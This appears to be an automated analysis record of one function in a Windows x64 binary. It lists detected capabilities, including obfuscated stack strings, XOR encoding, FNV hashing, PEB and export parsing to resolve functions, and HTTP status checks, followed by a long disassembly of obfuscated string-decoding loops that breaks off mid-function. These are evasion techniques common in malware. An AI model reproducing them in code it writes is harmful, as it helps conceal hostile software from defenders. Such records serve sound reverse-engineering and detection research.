Function at 0x14007b150
Capabilities:
Access peb ldr_data
Check http status code
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1409963c0]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov r15, rdx
mov qword [rbp + 0xe0], rdx
mov r13, rcx
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], rdx
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x23673063
mov dword [rsp + 0x64], 0x7d72704f
mov dword [rsp + 0x68], 0x7c706065
mov dword [rsp + 0x6c], 0x6b286078
mov dword [rsp + 0x70], 0x78693567
mov dword [rsp + 0x74], 0x617b6b6c
mov word [rsp + 0x78], 0x2f2c
mov byte [rsp + 0x7a], 0x1c
xor eax, eax
mov qword [rsp + 0x7b], rax
mov dword [rbp - 0x7d], eax
mov byte [rbp - 0x79], al
movabs r14, 0x21bb5d8c01e37d95
lea r12, [rax - 1]
movzx edi, byte [rsp + 0x20]
nop
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x28
jae 0x14007bece
movzx r9d, byte [rsp + r10 + 0x60]
movzx edx, r9b
cmp rbx, r10
ja 0x14007bec5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007b25d
movabs r11, 0x87b396bd862f6781
lea rcx, [r10 + r11]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x79
jmp 0x14007b2ae
je 0x14007be50
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bdc9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007bd96
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007bd39
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007bd10
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007bcc5
movabs r11, 0x87b396bd862f6781
movzx edx, r9b
cmp r8, r10
ja 0x14007bebc
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14007b2db
lea rcx, [r10 + r14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x13
jmp 0x14007b320
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007bca5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007bc79
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007bc43
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007bc10
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007bbed
nop dword [rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x14007b8f1
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007b8d2
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007b8ad
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007b88b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007b868
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007b839
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b80d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007b7ee
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007b7cf
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007b7a4
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b330
lea rbx, [r8 + 0x28]
lea r8, [rbx + 8]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007be9f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007be82
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007b533
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007b510
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007b4ed
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14007b753
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007b706
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007b6c6
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007b6a2
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007b330
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x28]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007b677
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14007b658
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007b639
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007b60d
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14007b5de
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007b5bf
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007b59d
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14007b575
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007b556
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007b330
mov rbx, rcx
lea r8, [rcx + 0x200]
jmp 0x14007b330
movabs rcx, 0xae82d8e7dbbd330b
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x4d
jmp 0x14007b320
movabs rcx, 0x9f1bab6ccf5e6409
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x3f
jmp 0x14007b2b2
movabs rcx, 0x8fb47df1c2ff9507
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x31
jmp 0x14007b227
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007bce7
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007b213
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
dec r10
inc r10
jmp 0x14007b213
lea edx, [r10 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
add dil, dl
jmp 0x14007bd5b
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea ecx, [r10 - 0x62]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea edx, [r10 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x14007bdeb
lea edx, [r10 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x14007be13
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
lea ecx, [r10 + 0x13]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x7b
mov byte [rsp + r10 + 0x60], dil
inc r10
jmp 0x14007b213
lea edx, [r10 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x77
add dil, dl
cmp r8, 0x42
jb 0x14007b6b9
lea edx, [r10 + 0x66]
movzx eax, r9b
and al, dl
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14007bce7
lea edx, [r10 + 0xf]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x69
add dil, dl
cmp rbx, 0xa
jae 0x14007bbaf
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14007bac0
lea edx, [r10 + 0x52]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3e
jmp 0x14007b6dd
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5b
add dil, dl
lea rax, [rbx + r8]
cmp rax, 4
je 0x14007bbd1
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14007b9d4
lea edx, [r10 - 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2b
jmp 0x14007b71d
lea ecx, [r10 + 0x7e]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x14007be13
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
jmp 0x14007bdeb
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea ecx, [r10 + 0x76]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x14007bd5f
lea ecx, [r10 + 0x72]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1e
dec r10
inc r10
jmp 0x14007b213
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x14007b213
lea edx, [r10 + 0x6e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
add dil, dl
jmp 0x14007bce7
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x14007b914
lea rcx, [r10 + r11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x79
jmp 0x14007b76d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b948
lea ecx, [r10 + 0x2a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x26
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b97d
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b9a9
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14007bd5f
cmp rbx, rcx
jne 0x14007b76d
lea ecx, [r10 + 0x36]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7a
dec r10
inc r10
jmp 0x14007b213
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b9fc
lea edx, [r10 - 0x41]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x39
add dil, dl
jmp 0x14007bce7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007ba28
movzx r11d, r10b
lea edx, [r11 - 0x3b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x63
add dil, dl
jmp 0x14007bd5f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ba60
lea ecx, [r10 - 0x39]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x71
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ba88
lea edx, [r10 - 0x35]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x73
add dil, dl
jmp 0x14007bdeb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b720
lea ecx, [r10 - 0x31]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x57
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007baf4
lea ecx, [r10 + 0x54]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007bb1c
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x14007bdeb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007bb51
lea ecx, [r10 + 0x5a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x76
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007bb7d
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
mov ecx, 0x37
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007bd5f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b6e0
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14007b213
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007bd5f
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007bdeb
movabs rcx, 0x8d8d9be9587b26a3
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x75
jmp 0x14007bdeb
movabs rcx, 0x7e266e6e4c1c57a1
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x67
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
movabs rcx, 0x6ebf40f33fbd889f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x59
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
movabs rcx, 0x4089b8821aa11b99
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x2f
inc r8
dec r10
inc r10
jmp 0x14007b213
movabs rcx, 0x31228b070e424c97
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x21
jmp 0x14007bce7
movabs rcx, 0x12543010f584ae93
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 5
movzx r9d, dl
lea ecx, [r10 - 0x19]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x51
add r9b, cl
mov byte [rsp + r10 + 0x60], r9b
inc r8
dec r10
inc r10
jmp 0x14007b213
movabs rcx, 0xf385d51adcc7108f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x17
dec r10
inc r10
jmp 0x14007b213
movabs rcx, 0xe41ea79fd068418d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x25
movzx r9d, dl
movzx r11d, r10b
sub r11b, 0x17
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x5f
add r9b, r11b
add r9b, dil
mov byte [rsp + r10 + 0x60], r9b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
movabs rcx, 0xc5504ca9b7aaa389
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x41
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007b213
movabs rcx, 0xb5e91f2eab4bd487
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x4f
movzx r9d, dl
lea edx, [r10 - 0x15]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x6d
add cl, dl
movzx eax, cl
mov byte [rsp + r10 + 0x60], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rsp + r10 + 0x60], cl
inc rbx
mov rax, r12
sub rax, rbx
add r10, rax
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
movabs rcx, 0x971ac438928e3683
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x6b
movzx eax, byte [rsp + r10 + 0x60]
add rax, r8
add r10, rax
inc r10
jmp 0x14007b213
add r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x23
jmp 0x14007b210
add r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x14007b200
lea rdx, [rbp + 0x1598a0c]
jmp 0x14007bed3
lea rdx, [rbp + 0x108f18d]
jmp 0x14007bed3
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2b8]
call fcn.14003a84c
mov dword [rbp + 0x2d8], 0xa
lea rdx, [rbp + 0x2b8]
mov rcx, rsi
call fcn.140071f60
lea rdx, [0x14006baf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400716d0
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov dword [rbp - 0x40], 0xd70617d4
mov dword [rbp - 0x3c], 0x5dddad6
mov dword [rbp - 0x38], 0x902c1d3
mov word [rbp - 0x34], 0xd5c8
mov byte [rbp - 0x32], 0x7e
mov word [rbp - 0x31], ax
movabs r14, 0xda75af54192e194e
movzx edi, byte [rsp + 0x20]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x11
jae 0x14007ca82
movzx r10d, byte [rbp + rsi - 0x40]
mov r11d, r10d
cmp rbx, rsi
ja 0x14007ca79
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007bfa1
lea rcx, [rsi + r14]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
sub dil, 0x22
jmp 0x14007bfdb
je 0x14007ca02
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c97b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c948
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007c91b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007c8d1
movzx r9d, sil
nop
cmp r8, rsi
ja 0x14007ca70
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14007c00e
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c050
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007c8b9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007c893
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c86d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14007c83d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007c810
nop
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x14007c59b
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14007c58d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007c564
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007c541
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007c526
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007c4f3
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007c4c3
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007c4a8
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007c48b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007c45d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007c060
lea rbx, [r8 + 1]
lea r8, [rbx + 9]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14007ca53
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14007ca33
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14007c223
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007c208
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007c1ed
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14007c3d0
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007c396
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007c36e
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007c060
lea rbx, [r8 + 0x61]
lea r8, [rbx + 3]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007c343
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007c323
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007c304
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14007c2d4
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14007c2a4
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14007c288
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14007c262
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007c243
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x42]
jmp 0x14007c060
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14007c050
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x14007bfe0
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007bf75
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x14007c8ef
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
inc r8
dec rsi
inc rsi
jmp 0x14007bf62
lea edx, [r9 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14007c7be
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
add r9b, 0x24
movzx eax, r10b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
lea edx, [r9 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14007c9a0
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x74
add dil, r9b
jmp 0x14007c9c9
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + rsi - 0x40], dil
inc rsi
jmp 0x14007bf62
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp r8, 0x41
jb 0x14007c389
lea ecx, [r9 + 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x18]
jmp 0x14007c8ef
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 9
je 0x14007c7fa
lea rdx, [r8 + 1]
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14007c67c
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
lea rcx, [r8 + 2]
lea r11, [r8 + 3]
cmp rbx, 3
jae 0x14007c7a8
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14007c728
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007c3ac
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + rsi - 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007bf62
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
jmp 0x14007c9c9
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x14007c9a0
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007bf62
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007c7c1
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
dec rsi
inc rsi
jmp 0x14007bf62
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec rsi
inc rsi
jmp 0x14007bf62
lea edx, [r9 - 0x7c]
mov ecx, 0x32
jmp 0x14007c8de
lea rax, [r8 + 2]
cmp rbx, rax
jae 0x14007c5bf
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x14007c3ea
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007c5f6
